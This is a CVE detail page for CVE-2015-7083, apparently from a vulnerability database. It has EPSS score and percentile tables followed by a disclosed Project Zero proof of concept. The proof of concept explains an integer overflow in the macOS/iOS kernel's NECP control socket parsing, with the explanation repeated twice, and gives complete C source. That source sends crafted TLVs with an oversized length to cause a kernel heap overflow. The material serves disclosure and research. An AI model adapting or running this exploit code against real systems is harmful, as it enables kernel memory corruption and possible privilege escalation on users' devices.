CVE-2015-7083 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.53%	–	–
2022-02-13	–	–	3.53%	–	–
2022-04-03	–	–	3.53%	–	–
2022-05-15	–	–	3.53%	–	–
2022-12-18	–	–	3.53%	–	–
2023-01-01	–	–	3.53%	–	–
2023-02-05	–	–	3.53%	–	–
2023-02-19	–	–	3.53%	–	–
2023-02-26	–	–	3.53%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.5%
2025-03-30	–	–	–	–	0.64%
2025-04-15	–	–	–	–	0.64%
2025-04-15	–	–	–	–	0.64,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	66%
2022-02-13	67%
2022-04-03	83%
2022-05-15	84%
2022-12-18	85%
2023-01-01	84%
2023-02-05	85%
2023-02-19	84%
2023-02-26	85%
2023-03-12	8%
2024-02-11	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	64%
2025-03-30	68%
2025-04-15	69%
2025-04-15	69%

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=543 NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP) OS X this is a real security boundary. necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries. The type field is a single byte and the length is a size_t (ie 8 bytes.) by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop: // Read policy conditions for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0); cursor >= 0; cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) { size_t condition_size = 0; necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size); if (condition_size > 0) { conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size); } } The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) ) This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions: one of length 1; one of length 1024 and one of length 2^64-1051; later conditions_array_size is used as the size of a memory allocation: MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK); There is then a memory copying loop operating on the undersized array: conditions_array_cursor = 0; for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0); cursor >= 0; cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) { u_int8_t condition_type = NECP_TLV_POLICY_CONDITION; size_t condition_size = 0; necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size); if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) { <-- (a) // Add type memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type)); conditions_array_cursor += sizeof(condition_type); // Add length memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size)); conditions_array_cursor += sizeof(condition_size); // Add value necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL); <-- (b) There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will then copy the second 1024 byte policy. By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :) this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch of times and you'll crash :) Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27) */ // ianbeer /* iOS and OS X kernel code execution due to integer overflow in NECP system control socket packet parsing NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP) OS X this is a real security boundary. necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries. The type field is a single byte and the length is a size_t (ie 8 bytes.) by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop: // Read policy conditions for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0); cursor >= 0; cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) { size_t condition_size = 0; necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size); if (condition_size > 0) { conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size); } } The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) ) This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions: one of length 1; one of length 1024 and one of length 2^64-1051; later conditions_array_size is used as the size of a memory allocation: MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK); There is then a memory copying loop operating on the undersized array: conditions_array_cursor = 0; for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0); cursor >= 0; cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) { u_int8_t condition_type = NECP_TLV_POLICY_CONDITION; size_t condition_size = 0; necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size); if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) { <-- (a) // Add type memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type)); conditions_array_cursor += sizeof(condition_type); // Add length memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size)); conditions_array_cursor += sizeof(condition_size); // Add value necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL); <-- (b) There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will then copy the second 1024 byte policy. By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :) this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch of times and you'll crash :) Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27) */ #include <errno.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/kern_control.h> #include <sys/sys_domain.h> #include <net/if.h> #include <netinet/in_var.h> #include <netinet6/nd6.h> #include <arpa/inet.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define CONTROL_NAME "com.apple.net.necp_control" int ctl_open(void) { int sock; int error = 0; struct ctl_info kernctl_info; struct sockaddr_ctl kernctl_addr; sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL); if (sock < 0) { printf("failed to open a SYSPROTO_CONTROL socket: %s", strerror(errno)); goto done; } memset(&kernctl_info, 0, sizeof(kernctl_info)); strlcpy(kernctl_info.ctl_name, CONTROL_NAME, sizeof(kernctl_info.ctl_name)); error = ioctl(sock, CTLIOCGINFO, &kernctl_info); if (error) { printf("Failed to get the control info for control named \"%s\": %s\n", CONTROL_NAME, strerror(errno)); goto done; } memset(&kernctl_addr, 0, sizeof(kernctl_addr)); kernctl_addr.sc_len = sizeof(kernctl_addr); kernctl_addr.sc_family = AF_SYSTEM; kernctl_addr.ss_sysaddr = AF_SYS_CONTROL; kernctl_addr.sc_id = kernctl_info.ctl_id; kernctl_addr.sc_unit = 0; error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr)); if (error) { printf("Failed to connect to the control socket: %s", strerror(errno)); goto done; } done: if (error && sock >= 0) { close(sock); sock = -1; } return sock; } struct necp_packet_header { uint8_t packet_type; uint8_t flags; uint32_t message_id; }; uint8_t* add_real_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val){ *buf = type; *(( size_t*)(buf+1)) = len; memcpy(buf+9, val, len); return buf+9+len; } uint8_t* add_fake_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val, size_t real_len){ *buf = type; *(( size_t*)(buf+1)) = len; memcpy(buf+9, val, real_len); return buf+9+real_len; } int main(){ int fd = ctl_open(); if (fd < 0) { printf("failed to get control socket :(\n"); return 1; } printf("got a control socket! %d\n", fd); size_t msg_size; uint8_t* msg = malloc(0x1000); memset(msg, 0, 0x1000); uint8_t* payload = malloc(0x1000); memset(payload, 'A', 0x1000); struct necp_packet_header* hdr = (struct necp_packet_header*) msg; hdr->packet_type = 1; // POLICY_ADD hdr->flags = 0; hdr->message_id = 0; uint8_t* buf = (uint8_t*)(hdr+1); uint32_t order = 0x41414141; buf = add_real_tlv(buf, 2, 4, &order); // NECP_TLV_POLICY_ORDER uint8_t policy = 1; // NECP_POLICY_RESULT_PASS buf = add_real_tlv(buf, 4, 1, &policy); // NECP_TLV_POLICY_RESULT buf = add_real_tlv(buf, 3, 1, payload); // NECP_TLV_POLICY_CONDITION buf = add_real_tlv(buf, 3, 1024, payload); // NECP_TLV_POLICY_CONDITION buf = add_fake_tlv(buf, 3, 0xffffffffffffffff-1050, payload, 0x10); msg_size = buf - msg; send(fd, msg, msg_size, 0); close(fd); return 0; }